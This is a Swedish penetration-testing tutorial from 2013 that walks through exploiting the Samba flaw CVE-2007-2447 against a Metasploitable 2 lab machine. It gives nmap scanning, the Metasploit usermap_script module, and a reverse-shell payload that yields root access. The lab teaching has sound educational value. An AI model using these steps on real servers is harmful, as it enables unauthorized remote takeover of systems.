Sec24 – Samba

Av: Oscar Andersson, Sec24, 2013-05-04

OBS:  Följande guider är enbart för utbildningssyfte och får absolut inte användas för olagliga ändamål.

I den här sektionen kommer vi att gå igenom olika sätt att ta över en Linuxserver. Du kommer behöva Metasploitable 2 och Backtrack eller Kali. Du hittar mer info om dessa i sektionen Sätta upp en testmiljö.

Bakgrund: Samba är öppen programvara för Linux/Unix-system som använder SMB/CIFS-protokollet och används för att dela ut resurser såsom filer och skrivare i ett Windows-nätverk (fil/printer-server)

Exploit CVE 2007-2447

MS-RPC (Microsoft Remote Procedure Call) funktionen för smbd (server daemon) i Samba 3.0.0 till 3.0.25rc3 tillåter externa angripare att exekvera arbiträra kommandon genom skalmetatecken i följande omfattning: (1) SamrChangePassword-funktionen, när “username map script” smb.conf alternativet är aktiverat och tillåter autentiserade användare att exekvera kommandon med hjälp av skalmetatecken som omfattar andra MS-RPC-funktioner inom (2) externa skrivare (remote printer ) och (3) fildelningshanteraren (file share management).
Grundorsaken är att användarens indata passerar ofiltrerat via MS-RPC-anrop till /bin/sh när externa skript definierade i smb.conf startar.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2447

Vi börjar med att logga in på Metasploitable 2 och tar fram vilken IP maskinen använder. Användarnamn och lösenord är msfadmin.

Detta görs genom kommandot ifconfig.

2-1

Starta nu upp Backtrack och öppna en ny terminal.

Skriv följande kommandon:

cd /pentest/exploits/framework2

nmap -p 1-65535 -T4 -A -v 192.168.1.125 2>&1 | tee /var/tmp/scan.txt

linux penetrationstest samba nmap

Vi får nu fram flera portar som är öppna. Samba körs oftast på portartna 139 och 445.

För att filtrera resultatet när nmap körts klart kan vi köra kommandot:

grep -i samba /var/tmp/scan.txt

linux penetrationstest samba nmap grep

I Backtrack går vi nu in under Applications –> BackTrack –> Exploitation Tools –> Network Exploitation Tools –> Metasploit Framework –> msfconsole.

Vänta några sekunder på att applikationen ska starta.

Om du inte vill att terminalen automatiskt ska byta rad efter 80 tecken kan du köra kommandot:

tput rmam

För att återaktivera radbrytning kör du kommandot:

tput smam

Kör följande kommandon:

search samba

linux penetrationstest samba msf

Kör nu kommandona:

use exploit/multi/samba/usermap_script

show payloads

Payload är mjukvaran som låter dig styra ett datorsystem efter det har tagits över. Payloaden är oftast ansluten till och levereras av exploiten. Tänk er att exploiten bär payloaden i en ryggsäck när den bryter sig in i ett datorsystemet och sedan lämnar expoliten ryggsäcken därinne.

linux penetrationstest samba msf payload

Vi väljer payloaden cmd/unix/reverse.

set payload cmd/unix/reverse

och kör sedan:

show options

linux penetrationstest samba msf options

set RHOST 192.168.1.125 (Metasploitable IP)

set RPORT 445

I nästa steg behöver du veta BackTracks IP-adress. Kan du inte den så öppna ytterligare en ny terminal och kör kommandot ifconfig.

linux penetrationstest distcc exploit ifconfig

Gå nu tillbaka till msfconsole och skriv följande kommando:

set LHOST 192.168.1.4 (BackTrack IP)

Kontrollera att allt ser bra ut genom att köra show options igen.

linux penetrationstest samba msf options 2

Allt ser bra ut så nu kör vi exploiten och några kommandon för att säkerställa att det gått vägen.

exploit (Vänta tills exploiten kört klart innan nästa kommando)
hostname
uname -a
whoami (Notera root!)
Om vi vill skriva en fil till servern med vår anslutning gör vi det med följande kommandon:
netstat -naop | grep 4444 > /var/tmp/samba.txt
ps -eaf | grep 4444 >> /var/tmp/samba.txt

I och med att vi är root har vi full kontroll över servern.

linux penetrationstest samba msf exploit

För att först mer av vad som händer kan vi logga in på Metasploitableservern och köra följande kommandon:

sudo su

netstat -naop | grep 4444 (Visar Metasploitesessionen)

ps -eaf | grep 5884 | grep -v grep 

ps -eaf | grep 5887 | grep -v grep

ps -eaf | grep 4444 | grep -v grep ( /bin/sh körs i Metasploitesessionen)

linux penetrationstest samba metasploitable 2